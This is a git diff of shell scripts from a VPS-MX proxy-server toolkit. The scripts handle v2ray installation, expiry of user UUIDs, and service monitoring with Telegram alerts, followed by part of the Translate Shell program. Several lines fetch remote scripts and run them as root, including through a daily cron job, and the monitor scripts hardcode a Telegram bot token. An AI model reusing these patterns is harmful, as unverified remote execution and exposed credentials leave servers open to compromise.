+	echo "0 ${LOCAL_TIME} * * * bash <(curl -L -s https://install.direct/go.sh) | tee -a /root/v2rayUpdate.log && service v2ray restart" >> crontab.txt
+	crontab crontab.txt
+	sleep 1
+	if [[ ${OS} == 'CentOS' || ${OS} == 'Fedora' ]];then
+        service crond restart
+	else
+		service cron restart
+	fi
+	rm -f crontab.txt
+	colorEcho ${GREEN} "success open schedule update task: beijing time ${BEIJING_UPDATE_TIME}\n"
+}
+
+updateProject() {
+    local DOMAIN=""
+
+    [[ ! $(type pip3 2>/dev/null) ]] && colorEcho $RED "pip3 no install!" && exit 1
+
+    if [[ -e /usr/local/multi-v2ray/multi-v2ray.conf ]];then
+        TEMP_VALUE=$(cat /usr/local/multi-v2ray/multi-v2ray.conf|grep domain|awk 'NR==1')
+        DOMAIN=${TEMP_VALUE/*=}
+        rm -rf /usr/local/multi-v2ray
+    fi
+
+    pip3 install -U v2ray_util
+
+    if [[ -e $UTIL_PATH ]];then
+        [[ -z $(cat $UTIL_PATH|grep lang) ]] && echo "lang=en" >> $UTIL_PATH
+    else
+        mkdir -p /etc/v2ray_util
+        curl $UTIL_CFG > $UTIL_PATH
+        [[ ! -z $DOMAIN ]] && sed -i "s/^domain.*/domain=${DOMAIN}/g" $UTIL_PATH
+    fi
+
+    [[ $CHINESE == 1 ]] && sed -i "s/lang=en/lang=zh/g" $UTIL_PATH
+
+    rm -f /usr/local/bin/v2ray >/dev/null 2>&1
+    ln -s $(which v2ray-util) /usr/local/bin/v2ray
+
+    #更新v2ray bash_completion脚本
+    curl $BASH_COMPLETION_SHELL > /etc/bash_completion.d/v2ray.bash
+    [[ -z $(echo $SHELL|grep zsh) ]] && source /etc/bash_completion.d/v2ray.bash
+    
+    #安装/更新V2ray主程序
+    bash <(curl -L -s https://install.direct/go.sh)
+}
+
+#时间同步
+timeSync() {
+    if [[ ${INSTALL_WAY} == 0 ]];then
+        echo -e "${Info} Time Synchronizing.. ${Font}"
+        ntpdate pool.ntp.org
+        if [[ $? -eq 0 ]];then 
+            echo -e "${OK} Time Sync Success ${Font}"
+            echo -e "${OK} now: `date -R`${Font}"
+            sleep 1
+        else
+            echo -e "${Error} Time sync fail, please run command to sync:${Font}${Yellow}ntpdate pool.ntp.org${Font}"
+        fi
+    fi
+}
+
+profileInit() {
+
+    #清理v2ray模块环境变量
+    [[ $(grep v2ray ~/$ENV_FILE) ]] && sed -i '/v2ray/d' ~/$ENV_FILE && source ~/$ENV_FILE
+
+    #解决Python3中文显示问题
+    [[ -z $(grep PYTHONIOENCODING=utf-8 ~/$ENV_FILE) ]] && echo "export PYTHONIOENCODING=utf-8" >> ~/$ENV_FILE && source ~/$ENV_FILE
+
+    # 加入v2ray tab补全环境变量
+    [[ -z $(echo $SHELL|grep zsh) && -z $(grep v2ray.bash ~/$ENV_FILE) ]] && echo "source /etc/bash_completion.d/v2ray.bash" >> ~/$ENV_FILE && source ~/$ENV_FILE
+
+    #全新安装的新配置
+    if [[ ${INSTALL_WAY} == 0 ]];then 
+        v2ray new
+    else
+        v2ray convert
+    fi
+
+    bash <(curl -L -s $CLEAN_IPTABLES_SHELL)
+    echo ""
+}
+
+installFinish() {
+    #回到原点
+    cd ${BEGIN_PATH}
+
+    [[ ${INSTALL_WAY} == 0 ]] && WAY="install" || WAY="update"
+    colorEcho  ${GREEN} "multi-v2ray ${WAY} success!\n"
+
+    clear
+
+    v2ray info
+
+    echo -e "please input 'v2ray' command to manage v2ray\n"
+}
+
+
+main() {
+
+    [[ ${HELP} == 1 ]] && help && return
+
+    [[ ${REMOVE} == 1 ]] && removeV2Ray && return
+
+    [[ ${INSTALL_WAY} == 0 ]] && colorEcho ${BLUE} "Instalando v2ray....\n"
+
+    checkSys
+
+    installDependent
+
+    closeSELinux
+
+    timeSync
+
+    #设置定时任务
+    [[ -z $(crontab -l|grep v2ray) ]] && planUpdate
+
+    updateProject
+
+    profileInit
+
+    service v2ray restart
+
+    installFinish
+}
+
+main

+ 54 - 0
LINKS-LIBRERIAS/limv2ray

@@ -0,0 +1,54 @@
+#!/bin/bash
+
+expirados () {
+VPSsec=$(date +%s)
+local HOST="/etc/VPS-MX/RegV2ray"
+local HOST2="/etc/VPS-MX/RegV2ray"
+local RETURN="$(cat $HOST|cut -d'|' -f2)"
+local IDEUUID="$(cat $HOST|cut -d'|' -f1)"
+if [[ -z $RETURN ]]; then
+echo ""
+return 0
+else
+i=1
+while read hostreturn ; do
+delbug () {
+invaliduuid () {
+exit
+}
+[[ $(sed -n '/'${hostreturn}'/=' /etc/v2ray/config.json|head -1) ]] || invaliduuid
+lineP=$(sed -n '/'${hostreturn}'/=' /etc/v2ray/config.json)
+linePre=$(sed -n '/'${hostreturn}'/=' /etc/VPS-MX/RegV2ray)
+sed -i "${linePre}d" /etc/VPS-MX/RegV2ray
+numl1=2
+let resta=$lineP-$numl1
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+}
+DateExp="$(cat /etc/VPS-MX/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f3)"
+if [[ ! -z $DateExp ]]; then             
+DataSec=$(date +%s --date="$DateExp")
+[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME= delbug  || EXPTIME="\e[92m[$(($(($DataSec - $VPSsec)) / 86400))]\e[97m Dias"
+else
+EXPTIME="\e[91m[ S/R ]"
+fi 
+local contador_secuencial+="\e[93m$hostreturn \n"             
+      if [[ $i -gt 30 ]]; then
+	      echo -e "$contador_secuencial"
+	  unset contador_secuencial
+	  unset i
+	  fi
+let i++
+done <<< "$IDEUUID"
+
+[[ ! -z $contador_secuencial ]] && {
+linesss=$(cat /etc/VPS-MX/RegV2ray | wc -l)
+	      echo -e "$contador_secuencial "
+	}
+fi
+}
+expirados
+v2ray restart > /dev/null 2>&1

+ 150 - 0
LINKS-LIBRERIAS/monitor.sh

@@ -0,0 +1,150 @@
+#!/bin/bash
+
+# Directorio destino
+DIR=/var/www/html
+
+# Nombre de archivo HTML a generar
+ARCHIVO=monitor.html
+
+# Fecha actual
+FECHA=$(date +'%d/%m/%Y %H:%M:%S')
+
+# Declaración de la función
+EstadoServicio () {
+
+    systemctl --quiet is-active $1
+    if [ $? -eq 0 ]; then
+        echo "<p>Estado del servicio $1 está || <span class='encendido'> ACTIVO</span>.</p>" >> $DIR/$ARCHIVO
+    else
+        echo "<p>Estado del servicio $1 está || <span class='detenido'> DESACTIVADO | REINICIANDO</span>.</p>" >> $DIR/$ARCHIVO
+		service $1 restart &
+NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
+NOM1=`echo $NOM` > /dev/null 2>&1
+IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
+IDB1=`echo $IDB` > /dev/null 2>&1
+KEY="862633455:AAEgkSywlAHQQOMXzGHJ13gctV6wO1hm25Y"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ _AVISO DE VPS:_ *$NOM1* ⚠️
+❗️ _Protocolo_ *[ $1 ]* _con Fallo_ ❗️ 
+🛠 _-- Reiniciando Protocolo_ -- 🛠 "
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=true&parse_mode=markdown&text=$MSG" $URL		                  
+    fi
+}
+
+# Comienzo de la generación del archivo HTML
+# Esta primera parte constitute el esqueleto básico del mismo.
+echo "
+<!DOCTYPE html>
+<html lang='en'>
+<head>
+  <meta charset='UTF-8'>
+  <meta name='viewport' content='width=device-width, initial-scale=1.0'>
+  <meta http-equiv='X-UA-Compatible' content='ie=edge'>
+  <title>Monitor de Servicios VPS-MX</title>
+  <link rel='stylesheet' href='estilos.css'>
+</head>
+<body>
+<h1>Monitor de Servicios By @Kalix1</h1>
+<p id='ultact'>Última actualización: $FECHA</p>
+<hr>
+" > $DIR/$ARCHIVO
+# Servicios a chequear (podemos agregar todos los que deseemos
+
+
+# PROTOCOLO v2ray
+EstadoServicio v2ray
+# PROTOCOLO SSH
+EstadoServicio ssh
+# PROTOCOLO DROPBEAR
+EstadoServicio dropbear
+# PROTOCOLO SSL
+EstadoServicio stunnel4
+# PROTOCOLOSQUID
+[[ $(EstadoServicio squid) ]] && EstadoServicio squid3
+# PROTOCOLO APACHE
+EstadoServicio apache2
+on="<span class='encendido'> ACTIVO " && off="<span class='detenido'> DESACTIVADO | REINICIANDO "
+[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
+echo "<p>Estado del servicio badvpn está ||  $badvpn </span>.</p> " >> $DIR/$ARCHIVO
+
+#SERVICE BADVPN
+PIDVRF3="$(ps aux|grep badvpn |grep -v grep|awk '{print $2}')"
+if [[ -z $PIDVRF3 ]]; then
+screen -dmS badvpn2 /bin/badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10
+NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
+NOM1=`echo $NOM` > /dev/null 2>&1
+IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
+IDB1=`echo $IDB` > /dev/null 2>&1
+KEY="862633455:AAEgkSywlAHQQOMXzGHJ13gctV6wO1hm25Y"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ _AVISO DE VPS:_ *$NOM1* ⚠️
+❗️ _Protocolo_ *[ BADVPN ]* _con Fallo_ ❗️ 
+🛠 _-- Reiniciando Protocolo_ -- 🛠 "
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=true&parse_mode=markdown&text=$MSG" $URL
+else
+for pid in $(echo $PIDVRF3); do
+echo ""
+done
+fi
+
+#SERVICE PYTHON DIREC
+ureset_python () {
+for port in $(cat /etc/VPS-MX/PortPD.log| grep -v "nobody" |cut -d' ' -f1)
+do
+PIDVRF3="$(ps aux|grep pydic-"$port" |grep -v grep|awk '{print $2}')"
+if [[ -z $PIDVRF3 ]]; then
+screen -dmS pydic-"$port" python /etc/VPS-MX/protocolos/PDirect.py "$port"
+NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
+NOM1=`echo $NOM` > /dev/null 2>&1
+IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
+IDB1=`echo $IDB` > /dev/null 2>&1
+KEY="862633455:AAEgkSywlAHQQOMXzGHJ13gctV6wO1hm25Y"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ _AVISO DE VPS:_ *$NOM1* ⚠️
+❗️ _Protocolo_ *[ PyDirec: $port ]* _con Fallo_ ❗️ 
+🛠 _-- Reiniciando Protocolo_ -- 🛠 "
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=true&parse_mode=markdown&text=$MSG" $URL
+else
+for pid in $(echo $PIDVRF3); do
+echo ""
+done
+fi
+done
+}
+
+#SERVICE PY+SSL
+ureset_pyssl () {
+for port in $(cat /etc/VPS-MX/PySSL.log| grep -v "nobody" |cut -d' ' -f1)
+do
+PIDVRF3="$(ps aux|grep pyssl-"$port" |grep -v grep|awk '{print $2}')"
+if [[ -z $PIDVRF3 ]]; then
+screen -dmS pyssl-"$port" python /etc/VPS-MX/protocolos/python.py "$port"
+NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
+NOM1=`echo $NOM` > /dev/null 2>&1
+IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
+IDB1=`echo $IDB` > /dev/null 2>&1
+KEY="862633455:AAEgkSywlAHQQOMXzGHJ13gctV6wO1hm25Y"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ _AVISO DE VPS:_ *$NOM1* ⚠️
+❗️ _Protocolo_ *[ PyDirec: $port ]* _con Fallo_ ❗️ 
+🛠 _-- Reiniciando Protocolo_ -- 🛠 "
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=true&parse_mode=markdown&text=$MSG" $URL
+else
+for pid in $(echo $PIDVRF3); do
+echo ""
+done
+fi
+done
+}
+
+ureset_python
+ureset_pyssl
+
+pidproxy3=$(ps x | grep -w  "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="<span class='encendido'> ACTIVO " || P3="<span class='detenido'> DESACTIVADO | REINICIANDO "
+echo "<p>Estado del servicio PythonDirec está ||  $P3 </span>.</p> " >> $DIR/$ARCHIVO
+#LIBERAR RAM,CACHE
+#sync ; echo 3 > /proc/sys/vm/drop_caches ; echo "RAM Liberada"
+# Finalmente, terminamos de escribir el archivo
+echo "
+</body>
+</html>" >> $DIR/$ARCHIVO

+ 1 - 0
LINKS-LIBRERIAS/nombre.log

@@ -0,0 +1 @@
+VPS-MX

+ 11 - 0
LINKS-LIBRERIAS/rebootnb

@@ -0,0 +1,11 @@
+#!/bin/bash
+NOM="$(less /etc/VPS-MX/controlador/nombre.log)"
+NOM1="$(echo $NOM)"
+IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
+IDB1=`echo $IDB` > /dev/null 2>&1
+KEY="862633455:AAEgkSywlAHQQOMXzGHJ13gctV6wO1hm25Y"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
+❗️ VPS REINICIADA ❗️
+🔰 INICIO EXITOSO 🔰 "
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null

+ 5 - 0
LINKS-LIBRERIAS/resetsshdrop

@@ -0,0 +1,5 @@
+#!/bin/bash
+sleep 5s
+service dropbear stop &>/dev/null
+service ssh restart &>/dev/null
+service dropbear restart &>/dev/null

BIN
LINKS-LIBRERIAS/speedtest_v1.tar


+ 1 - 0
LINKS-LIBRERIAS/tiemlim.log

@@ -0,0 +1 @@
+120

+ 5655 - 0
LINKS-LIBRERIAS/trans

@@ -0,0 +1,5655 @@
+#!/usr/bin/env bash
+exec 2>/dev/null
+export TRANS_ENTRY="$0"
+if [[ ! $LANG =~ (UTF|utf)-?8$ ]]; then export LANG=en_US.UTF-8; fi
+read -r -d '' TRANS_PROGRAM << 'EOF'
+BEGIN {
+Name        = "Translate Shell"
+Description = "Command-line translator using Google Translate, Bing Translator, Yandex.Translate, etc."
+Version     = "0.9.6.7"
+ReleaseDate = "2018-03-17"
+Command     = "trans"
+EntryPoint  = "translate.awk"
+EntryScript = "translate"
+}
+function initConst() {
+NULLSTR = ""
+TRUE = 1
+STDIN  = "/dev/stdin"
+STDOUT = "/dev/stdout"
+STDERR = "/dev/stderr"
+SUPOUT = " > /dev/null "
+SUPERR = " 2> /dev/null "
+PIPE = " | "
+}
+function anything(array,
+i) {
+for (i in array)
+if (array[i]) return 1
+return 0
+}
+function exists(value) {
+if (isarray(value))
+return anything(value)
+else
+return value ? 1 : 0
+}
+function belongsTo(element, array,
+i) {
+for (i in array)
+if (element == array[i]) return element
+return NULLSTR
+}
+function identical(x, y,
+i) {
+if (!isarray(x) && !isarray(y))
+return x == y
+else if (isarray(x) && isarray(y)) {
+if (length(x) != length(y)) return 0
+for (i in x)
+if (!identical(x[i], y[i])) return 0
+return 1
+} else
+return 0
+}
+function append(array, element) {
+array[anything(array) ? length(array) : 0] = element
+}
+function compareByIndexFields(i1, v1, i2, v2,
+t1, t2, tl, j) {
+split(i1, t1, SUBSEP)
+split(i2, t2, SUBSEP)
+tl = length(t1) < length(t2) ? length(t1) : length(t2)
+for (j = 1; j <= tl; j++) {
+if (t1[j] < t2[j])
+return -1
+else if (t1[j] > t2[j])
+return 1
+}
+return 0
+}
+function isnum(string) {
+return string == string + 0
+}
+function startsWithAny(string, substrings,
+i) {
+for (i in substrings)
+if (index(string, substrings[i]) == 1) return substrings[i]
+return NULLSTR
+}
+function matchesAny(string, patterns,
+i) {
+for (i in patterns)
+if (string ~ "^" patterns[i]) return patterns[i]
+return NULLSTR
+}
+function replicate(string, len,
+i, temp) {
+temp = NULLSTR
+for (i = 0; i < len; i++)
+temp = temp string
+return temp
+}
+function reverse(string,
+i, temp) {
+temp = NULLSTR
+for (i = length(string); i > 0; i--)
+temp = temp substr(string, i, 1);
+return temp
+}
+function join(array, separator, sortedIn, preserveNull,
+i, j, saveSortedIn, temp) {
+if (!sortedIn)
+sortedIn = "compareByIndexFields"
+temp = NULLSTR
+j = 0
+if (isarray(array)) {
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = sortedIn
+for (i in array)
+if (preserveNull || array[i] != NULLSTR)
+temp = j++ ? temp separator array[i] : array[i]
+PROCINFO["sorted_in"] = saveSortedIn
+} else
+temp = array
+return temp
+}
+function explode(string, array) {
+split(string, array, NULLSTR)
+}
+function escapeChar(char) {
+switch (char) {
+case "b":
+return "\b"
+case "f":
+return "\f"
+case "n":
+return "\n"
+case "r":
+return "\r"
+case "t":
+return "\t"
+case "v":
+return "\v"
+case "u0026":
+return "&"
+case "u003c":
+return "<"
+case "u003e":
+return ">"
+default:
+return char
+}
+}
+function literal(string,
+c, cc, escaping, i, s) {
+if (string !~ /^".*"$/)
+return string
+explode(string, s)
+string = NULLSTR
+escaping = 0
+for (i = 2; i < length(s); i++) {
+c = s[i]
+if (escaping) {
+if (cc) {
+cc = cc c
+if (length(cc) == 5) {
+string = string escapeChar(cc)
+escaping = 0
+cc = NULLSTR
+}
+} else if (c == "u") {
+cc = c
+} else {
+string = string escapeChar(c)
+escaping = 0
+}
+} else {
+if (c == "\\")
+escaping = 1
+else
+string = string c
+}
+}
+return string
+}
+function escape(string) {
+gsub(/\\/, "\\\\", string)
+gsub(/"/, "\\\"", string)
+return string
+}
+function unescape(string) {
+gsub(/\\\"/, "\"", string)
+gsub(/\\\\/, "\\", string)
+return string
+}
+function parameterize(string, quotationMark) {
+if (!quotationMark)
+quotationMark = "'"
+if (quotationMark == "'") {
+gsub(/'/, "'\\''", string)
+return "'" string "'"
+} else {
+return "\"" escape(string) "\""
+}
+}
+function unparameterize(string,    temp) {
+match(string, /^'(.*)'$/, temp)
+if (temp[0]) {
+string = temp[1]
+gsub(/'\\''/, "'", string)
+return string
+}
+match(string, /^"(.*)"$/, temp)
+if (temp[0]) {
+string = temp[1]
+return unescape(string)
+}
+return string
+}
+function toString(value, inline, heredoc, valOnly, numSub, level, sortedIn,
+i, items, j, k, p, saveSortedIn, temp, v) {
+if (!level) level = 0
+if (!sortedIn)
+sortedIn = "compareByIndexFields"
+if (isarray(value)) {
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = sortedIn
+p = 0
+for (i in value) {
+split(i, j, SUBSEP); k = join(j, ",")
+if (!numSub || !isnum(k)) k = parameterize(k, "\"")
+v = toString(value[i], inline, heredoc, valOnly, numSub, level + 1, sortedIn)
+if (!isarray(value[i])) v = parameterize(v, "\"")
+if (valOnly)
+items[p++] = inline ? v : (replicate("\t", level) v)
+else
+items[p++] = inline ? (k ": " v) :
+(replicate("\t", level) k "\t" v)
+}
+PROCINFO["sorted_in"] = saveSortedIn
+temp = inline ? join(items, ", ") :
+("\n" join(items, "\n") "\n" replicate("\t", level))
+temp = valOnly ? ("[" temp "]") : ("{" temp "}")
+return temp
+} else {
+if (heredoc)
+return "'''\n" value "\n'''"
+else
+return value
+}
+}
+function squeeze(line, preserveIndent) {
+if (!preserveIndent)
+gsub(/^[[:space:]]+/, NULLSTR, line)
+gsub(/^[[:space:]]*#.*$/, NULLSTR, line)
+gsub(/#[^"/]*$/, NULLSTR, line)
+gsub(/[[:space:]]+$/, NULLSTR, line)
+gsub(/[[:space:]]+\\$/, "\\", line)
+return line
+}
+function yn(string) {
+return (tolower(string) ~ /^([0fn]|off)/) ? 0 : 1
+}
+function initAnsiCode() {
+if (ENVIRON["TERM"] == "dumb") return
+AnsiCode["reset"]         = AnsiCode[0] = "\33[0m"
+AnsiCode["bold"]          = "\33[1m"
+AnsiCode["underline"]     = "\33[4m"
+AnsiCode["negative"]      = "\33[7m"
+AnsiCode["no bold"]       = "\33[22m"
+AnsiCode["no underline"]  = "\33[24m"
+AnsiCode["positive"]      = "\33[27m"
+AnsiCode["black"]         = "\33[30m"
+AnsiCode["red"]           = "\33[31m"
+AnsiCode["green"]         = "\33[32m"
+AnsiCode["yellow"]        = "\33[33m"
+AnsiCode["blue"]          = "\33[34m"
+AnsiCode["magenta"]       = "\33[35m"
+AnsiCode["cyan"]          = "\33[36m"
+AnsiCode["gray"]          = "\33[37m"
+AnsiCode["default"]       = "\33[39m"
+AnsiCode["dark gray"]     = "\33[90m"
+AnsiCode["light red"]     = "\33[91m"
+AnsiCode["light green"]   = "\33[92m"
+AnsiCode["light yellow"]  = "\33[93m"
+AnsiCode["light blue"]    = "\33[94m"
+AnsiCode["light magenta"] = "\33[95m"
+AnsiCode["light cyan"]    = "\33[96m"
+AnsiCode["white"]         = "\33[97m"
+}
+function ansi(code, text) {
+switch (code) {
+case "bold":
+return AnsiCode[code] text AnsiCode["no bold"]
+case "underline":
+return AnsiCode[code] text AnsiCode["no underline"]
+case "negative":
+return AnsiCode[code] text AnsiCode["positive"]
+default:
+return AnsiCode[code] text AnsiCode[0]
+}
+}
+function w(text) {
+print ansi("yellow", text) > STDERR
+}
+function e(text) {
+print ansi("bold", ansi("yellow", text)) > STDERR
+}
+function wtf(text) {
+print ansi("bold", ansi("red", text)) > STDERR
+}
+function d(text) {
+print ansi("gray", text) > STDERR
+}
+function da(value, name, inline, heredoc, valOnly, numSub, sortedIn,
+i, j, saveSortedIn) {
+if (!name)
+name = "_"
+if (!sortedIn)
+sortedIn = "compareByIndexFields"
+d(name " = " toString(value, inline, heredoc, valOnly, numSub, 0, sortedIn))
+}
+function assert(x, message) {
+if (!message)
+message = "[ERROR] Assertion failed."
+if (x)
+return x
+else
+e(message)
+}
+function initUrlEncoding() {
+UrlEncoding["\t"] = "%09"
+UrlEncoding["\n"] = "%0A"
+UrlEncoding[" "]  = "%20"
+UrlEncoding["!"]  = "%21"
+UrlEncoding["\""] = "%22"
+UrlEncoding["#"]  = "%23"
+UrlEncoding["$"]  = "%24"
+UrlEncoding["%"]  = "%25"
+UrlEncoding["&"]  = "%26"
+UrlEncoding["'"]  = "%27"
+UrlEncoding["("]  = "%28"
+UrlEncoding[")"]  = "%29"
+UrlEncoding["*"]  = "%2A"
+UrlEncoding["+"]  = "%2B"
+UrlEncoding[","]  = "%2C"
+UrlEncoding["-"]  = "%2D"
+UrlEncoding["."]  = "%2E"
+UrlEncoding["/"]  = "%2F"
+UrlEncoding[":"]  = "%3A"
+UrlEncoding[";"]  = "%3B"
+UrlEncoding["<"]  = "%3C"
+UrlEncoding["="]  = "%3D"
+UrlEncoding[">"]  = "%3E"
+UrlEncoding["?"]  = "%3F"
+UrlEncoding["@"]  = "%40"
+UrlEncoding["["]  = "%5B"
+UrlEncoding["\\"] = "%5C"
+UrlEncoding["]"]  = "%5D"
+UrlEncoding["^"]  = "%5E"
+UrlEncoding["_"]  = "%5F"
+UrlEncoding["`"]  = "%60"
+UrlEncoding["{"]  = "%7B"
+UrlEncoding["|"]  = "%7C"
+UrlEncoding["}"]  = "%7D"
+UrlEncoding["~"]  = "%7E"
+}
+function quote(string,    i, r, s) {
+r = NULLSTR
+explode(string, s)
+for (i = 1; i <= length(s); i++)
+r = r (s[i] in UrlEncoding ? UrlEncoding[s[i]] : s[i])
+return r
+}
+function unquote(string,    i, k, r, s, temp) {
+r = NULLSTR
+explode(string, s)
+temp = NULLSTR
+for (i = 1; i <= length(s); i++)
+if (temp) {
+temp = temp s[i]
+if (length(temp) > 2) {
+for (k in UrlEncoding)
+if (temp == UrlEncoding[k]) {
+r = r k
+temp = NULLSTR
+break
+}
+if (temp) {
+r = r temp
+temp = NULLSTR
+}
+}
+} else {
+if (s[i] != "%")
+r = r s[i]
+else
+temp = s[i]
+}
+if (temp)
+r = r temp
+return r
+}
+function initUriSchemes() {
+UriSchemes[0] = "file://"
+UriSchemes[1] = "http://"
+UriSchemes[2] = "https://"
+}
+function readFrom(file,    line, text) {
+if (!file) file = "/dev/stdin"
+text = NULLSTR
+while (getline line < file)
+text = (text ? text "\n" : NULLSTR) line
+return text
+}
+function writeTo(text, file) {
+if (!file) file = "/dev/stdout"
+print text > file
+}
+function getOutput(command,    content, line) {
+content = NULLSTR
+while ((command |& getline line) > 0)
+content = (content ? content "\n" : NULLSTR) line
+return content
+}
+function fileExists(file) {
+return !system("test -f " parameterize(file))
+}
+function dirExists(file) {
+return !system("test -d " parameterize(file))
+}
+function detectProgram(prog, arg, returnOutput,    temp) {
+if (returnOutput) {
+prog " " arg SUPERR | getline temp
+return temp
+} else
+return (prog " " arg SUPERR | getline) ? prog : NULLSTR
+}
+function getGitHead(    line, group) {
+if (fileExists(".git/HEAD")) {
+getline line < ".git/HEAD"
+match(line, /^ref: (.*)$/, group)
+if (fileExists(".git/" group[1])) {
+getline line < (".git/" group[1])
+return substr(line, 1, 7)
+} else
+return NULLSTR
+} else
+return NULLSTR
+}
+BEGIN {
+initConst()
+initAnsiCode()
+initUrlEncoding()
+initUriSchemes()
+}
+function initGawk(    group) {
+Gawk = "gawk"
+GawkVersion = PROCINFO["version"]
+split(PROCINFO["version"], group, ".")
+if (group[1] < 4) {
+e("[ERROR] Oops! Your gawk (version " GawkVersion ") "\
+"appears to be too old.\n"\
+"        You need at least gawk 4.0.0 to run this program.")
+exit 1
+}
+}
+function initBiDi() {
+FriBidi = detectProgram("fribidi", "--version", 1)
+BiDiNoPad = FriBidi ? "fribidi --nopad" : "rev" SUPERR
+BiDi = FriBidi ? "fribidi --width %s" :
+"rev" SUPERR "| sed \"s/'/\\\\\\'/\" | xargs printf '%%s '"
+}
+function initRlwrap() {
+Rlwrap = detectProgram("rlwrap", "--version")
+}
+function initEmacs() {
+Emacs = detectProgram("emacs", "--version")
+}
+function initCurl() {
+Curl = detectProgram("curl", "--version")
+}
+function l(value, name, inline, heredoc, valOnly, numSub, sortedIn) {
+if (Option["debug"]) {
+if (name)
+da(value, name, inline, heredoc, valOnly, numSub, sortedIn)
+else
+d(value)
+}
+}
+function m(string) {
+if (Option["debug"])
+return ansi("cyan", string) RS
+}
+function newerVersion(ver1, ver2,    i, group1, group2) {
+split(ver1, group1, ".")
+split(ver2, group2, ".")
+for (i = 1; i <= 4; i++) {
+if (group1[i] + 0 > group2[i] + 0)
+return 1
+else if (group1[i] + 0 < group2[i] + 0)
+return 0
+}
+return 0
+}
+function rlwrapMe(    i, command) {
+initRlwrap()
+if (!Rlwrap) {
+l(">> not found: rlwrap")
+return 1
+}
+if (ENVIRON["TRANS_ENTRY"]) {
+command = Rlwrap " " ENVIRON["TRANS_ENTRY"] " "\
+parameterize("-no-rlwrap")
+} else if (fileExists(ENVIRON["TRANS_DIR"] "/" EntryScript)) {
+command = Rlwrap " sh "\
+parameterize(ENVIRON["TRANS_DIR"] "/" EntryScript)\
+" - " parameterize("-no-rlwrap")
+} else {
+l(">> not found: $TRANS_ENTRY or EntryPoint")
+return 1
+}
+for (i = 1; i < length(ARGV); i++)
+if (ARGV[i])
+command = command " " parameterize(ARGV[i])
+l(">> forking: " command)
+if (!system(command)) {
+l(">> process exited with code 0")
+exit ExitCode
+} else {
+l(">> process exited with non-zero return code")
+return 1
+}
+}
+function emacsMe(    i, params, el, command) {
+initEmacs()
+if (!Emacs) {
+l(">> not found: emacs")
+return 1
+}
+params = ""
+for (i = 1; i < length(ARGV); i++)
+if (ARGV[i])
+params = params " " parameterize(ARGV[i], "\"")
+if (ENVIRON["TRANS_ENTRY"]) {
+el = "(progn (setq explicit-shell-file-name \"" ENVIRON["TRANS_ENTRY"] "\") "\
+"(setq explicit-" Command "-args '(\"-I\" \"-no-rlwrap\"" params ")) "\
+"(command-execute 'shell) (rename-buffer \"" Name "\"))"
+} else if (fileExists(ENVIRON["TRANS_DIR"] "/" EntryScript)) {
+el = "(progn (setq explicit-shell-file-name \"" "sh" "\") "\
+"(setq explicit-" "sh" "-args '(\"" ENVIRON["TRANS_DIR"] "/" EntryScript "\" \"-I\" \"-no-rlwrap\"" params ")) "\
+"(command-execute 'shell) (rename-buffer \"" Name "\"))"
+} else {
+l(">> not found: $TRANS_ENTRY or EntryPoint")
+return 1
+}
+command = Emacs " --eval " parameterize(el)
+l(">> forking: " command)
+if (!system(command)) {
+l(">> process exited with code 0")
+exit ExitCode
+} else {
+l(">> process exited with non-zero return code")
+return 1
+}
+}
+function curl(url, output,    command, content, line) {
+initCurl()
+if (!Curl) {
+l(">> not found: curl")
+w("[WARNING] curl is not found.")
+return NULLSTR
+}
+command = Curl " --location --silent"
+if (Option["proxy"])
+command = command " --proxy " parameterize(Option["proxy"])
+if (Option["user-agent"])
+command = command " --user-agent " parameterize(Option["user-agent"])
+command = command " " parameterize(url)
+if (output) {
+command = command " --output " parameterize(output)
+system(command)
+return NULLSTR
+}
+content = NULLSTR
+while ((command |& getline line) > 0)
+content = (content ? content "\n" : NULLSTR) line
+return content
+}
+function curlPost(url, data, output,    command, content, line) {
+initCurl()
+if (!Curl) {
+l(">> not found: curl")
+w("[WARNING] curl is not found.")
+return NULLSTR
+}
+command = Curl " --location --silent"
+if (Option["proxy"])
+command = command " --proxy " parameterize(Option["proxy"])
+if (Option["user-agent"])
+command = command " --user-agent " parameterize(Option["user-agent"])
+command = command " --request POST --data " parameterize(data)
+command = command " " parameterize(url)
+if (output) {
+command = command " --output " parameterize(output)
+system(command)
+return NULLSTR
+}
+content = NULLSTR
+while ((command |& getline line) > 0)
+content = (content ? content "\n" : NULLSTR) line
+return content
+}
